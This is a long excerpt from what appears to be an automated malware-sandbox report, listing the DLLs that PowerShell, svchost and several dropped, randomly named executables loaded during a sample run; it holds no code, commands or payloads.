Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: iconcodecservice.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Section loaded: uxtheme.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: apphelp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: sspicli.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: wininet.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: rstrtmgr.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: ncrypt.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: ntasn1.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: dbghelp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: iertutil.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: windows.storage.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: wldp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: profapi.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: kernel.appcore.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: winhttp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: mswsock.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: iphlpapi.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: winnsi.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: urlmon.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: srvcli.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: netutils.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: dnsapi.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: rasadhlp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: fwpuclnt.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: schannel.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: mskeyprotect.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: msasn1.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: dpapi.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: cryptsp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: rsaenh.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: cryptbase.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: gpapi.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: ncryptsslp.dll
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Section loaded: ntmarta.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mscoree.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: kernel.appcore.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: version.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: uxtheme.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: cryptsp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: rsaenh.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: cryptbase.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dwrite.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.storage.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: wldp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: profapi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.applicationmodel.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: twinapi.appcore.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: wintypes.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.globalization.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: bcp47langs.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: bcp47mrm.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dwmapi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: d3d9.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: d3d10warp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: urlmon.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: iertutil.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: srvcli.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: netutils.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windowscodecs.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: msasn1.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: msisip.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: wshext.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: appxsip.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: opcservices.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: esdsip.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ncrypt.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ntasn1.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ncrypt.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ntasn1.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ncryptprov.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: wtsapi32.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: winsta.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: powrprof.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: umpdc.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dataexchange.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: d3d11.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dcomp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dxgi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: resourcepolicyclient.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: textshaping.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dxcore.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.web.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: winmm.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: textinputframework.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: coreuicomponents.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: coremessaging.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ntmarta.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: coremessaging.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: msctfui.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: uiautomationcore.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: propsys.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: d3dcompiler_47.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: wininet.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: sspicli.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: rasapi32.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: rasman.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: rtutils.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mswsock.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: winhttp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: iphlpapi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dhcpcsvc6.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dhcpcsvc.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: winnsi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: dnsapi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: rasadhlp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: fwpuclnt.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: secur32.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: schannel.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mskeyprotect.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ncryptsslp.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: gpapi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mscms.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: userenv.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: coloradapterclient.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windowscodecsext.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: installservice.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mpr.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: slc.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: sppc.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: ieframe.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: netapi32.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: wkscli.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: edputil.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mlang.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: policymanager.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: msvcp110_win.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: twinui.appcore.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: execmodelproxy.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: mrmcorer.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: appxdeploymentclient.dll
